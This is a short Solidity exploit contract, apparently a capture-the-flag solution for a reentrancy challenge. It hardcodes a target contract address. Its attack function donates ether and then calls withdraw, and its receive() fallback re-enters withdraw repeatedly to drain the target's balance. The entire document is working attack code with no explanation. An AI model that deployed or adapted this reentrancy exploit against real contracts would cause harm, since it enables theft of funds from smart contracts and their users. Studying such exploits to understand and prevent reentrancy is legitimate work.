- Simple reentrancy vulnerability.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint256 _amount) external;
}
contract ReentrancyAttacker {
address target = 0xDB79c8aEc384E9397532ad9358EC76a3d3F8CAeB;
constructor() payable{}
function startAttack() public payable {
IReentrance(target).donate{value: address(this).balance}(address(this));
IReentrance(target).withdraw(1000000000000000);
}
receive() external payable {
if(address(this).balance < 2000000000000000) {
IReentrance(target).withdraw(1000000000000000);
}
}
}